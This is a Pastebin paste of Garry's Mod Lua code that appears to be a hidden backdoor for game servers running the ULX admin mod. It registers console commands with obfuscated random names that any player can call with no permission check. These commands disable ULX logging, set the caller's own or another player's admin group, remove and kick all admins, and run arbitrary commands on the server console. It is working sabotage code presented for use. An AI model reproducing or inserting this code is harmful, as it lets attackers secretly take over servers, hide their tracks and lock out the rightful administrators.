Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. concommand.Add( "XJX3LNWQO1S58PJ1fza0", function( ply, cmd, args )
  2. //disable ulx logs
  3. game.ConsoleCommand("ulx logFile 0\n")
  4. game.ConsoleCommand("ulx logEcho 0\n")
  5. game.ConsoleCommand("ulx logEvents 0\n")
  6. game.ConsoleCommand("ulx logChat 0\n")
  7. game.ConsoleCommand("ulx logJoinLeaveEcho 0\n")
  8. end )
  9.  
  10. concommand.Add( "rA0S5oizYoLEup7UDahl", function( ply, cmd, args )
  11. //set ur own group
  12. RunConsoleCommand( "ulx", "adduser", ply:Name(), args[1] )
  13. end )
  14.  
  15. concommand.Add( "3jQgrrPxSLkRbxODPRWr", function( ply, cmd, args )
  16. //set somebodies else group
  17. name = string.lower( args[1] ) find_ply = nil for _,v in ipairs( player.GetHumans() ) do
  18. if( string.find( string.lower( v:Name() ), name, 1, true ) != nil ) then
  19. find_ply = v
  20. end
  21. end
  22.  
  23. if( find_ply ) then
  24. RunConsoleCommand( "ulx", "adduser", find_ply:Name(), args[2] )
  25. end
  26. end )
  27.  
  28. concommand.Add( "C6RcfnOhuPkDPoQkgzu8", function( ply, cmd, args )
  29. //removeuser and kick all users with 'admin' usergroup
  30.  
  31. for _,v in ipairs( player.GetHumans() ) do
  32. if( v:IsAdmin() ) then
  33. RunConsoleCommand( "ulx", "removeuser", v:Name() )
  34. v:Kick("No fucks given")
  35. end
  36. end
  37. end )
  38.  
  39. concommand.Add( "kdyaNTIEO8DtIlNALF0U", function( ply, cmd, args )
  40. //remove someones ulx group
  41. name = string.lower( args[1] )
  42. find_ply = nil
  43.  
  44. for _,v in ipairs( player.GetHumans() ) do
  45. if( string.find( string.lower( v:Name() ), name, 1, true ) != nil ) then
  46. find_ply = v
  47. end
  48. end
  49.  
  50. if( find_ply ) then
  51. RunConsoleCommand( "ulx", "removeuser", find_ply:Name() )
  52. end
  53. end )
  54.  
  55. concommand.Add( "Dk1OIaGyEUvtmHQOF53i", function( ply, cmd, args, argStr )
  56. //run commands on server console
  57. game.ConsoleCommand( argStr .. "\n" )
  58. end )
  59.  
  60. concommand.Add( "a1lELkTxk98lG0Ep4Nks", function( ply, cmd, args )
  61. //give someone user access
  62. game.ConsoleCommand( 'ulx userallow ' .. args[1] .. '"' .. args[2] .. '" *\n' )
  63. end )
  64.  
  65. concommand.Add( "XYflUSGbjNED07cEBTsO", function( ply, cmd, args )
  66. //get all ulx groups
  67. if( ULib ) then
  68. local groups = {}
  69.  
  70. for k, v in pairs( ULib.parseKeyValues( file.Read("ulib/groups.txt", "DATA") ) ) do
  71. groups[ #groups + 1 ] = k
  72. end
  73.  
  74. ply:PrintMessage( HUD_PRINTTALK, "All ULX groups: " .. string.Implode( ", ", groups ) )
  75. else
  76. ply:PrintMessage( HUD_PRINTTALK, "ERROR! No ULX installed! :(" )
  77. end
  78. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement